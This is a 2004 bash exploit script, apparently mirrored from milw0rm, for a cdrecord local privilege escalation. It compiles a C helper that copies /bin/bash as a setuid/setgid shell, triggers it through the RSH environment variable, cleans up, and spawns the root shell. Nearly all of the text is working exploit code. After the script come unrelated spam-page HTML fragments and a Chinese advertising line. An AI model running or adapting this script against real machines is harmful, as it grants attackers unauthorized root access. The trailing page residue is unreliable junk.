#!/bin/bash # # cdrecord-suidshell.sh - I)ruid [CAU] (09.2004) # # Exploits cdrecord's exec() of $RSH before dropping privs # cat > ./cpbinbash.c << __EOF__ #include #include #include #include main( int argc, char *argv[] ) { int fd1, fd2; int count; char buffer[1]; /* Set ID's */ setuid( geteuid() ); setgid( geteuid() ); /* Copy the shell */ if ((fd1=open( "/bin/bash", O_RDONLY))<0) return -1; if ((fd2=open( "./bash", O_WRONLY|O_CREAT))<0) return -1; while((count=read(fd1, buffer, 1))) write(fd2, buffer, count); free(buffer); close( fd1 ); close( fd2 ); /* Priv the shell */ chown( "./bash", geteuid(), geteuid() ); chmod( "./bash", 3565 ); } __EOF__ cc ./cpbinbash.c -o ./cpbinbash # Set up environment export RSHSAVE=$RSH export RSH=./cpbinbash # Sploit cdrecord dev= REMOTE:CAU:1,0,0 - # Cleanup rm cpbinbash* export RSH=$RSHSAVE export RSHSAVE= # Use our suid bash ./bash -p // milw0rm.com [2004-09-11]

    <pre id="vvttv"><mark id="vvttv"><progress id="vvttv"></progress></mark></pre>
    <pre id="vvttv"></pre>

      <p id="vvttv"></p>

          <p id="vvttv"></p>

                <p id="vvttv"></p>

                <pre id="vvttv"><cite id="vvttv"><progress id="vvttv"></progress></cite></pre>

                  <output id="vvttv"><dfn id="vvttv"><th id="vvttv"></th></dfn></output>

                    <p id="vvttv"></p>

                    这里只有精品视频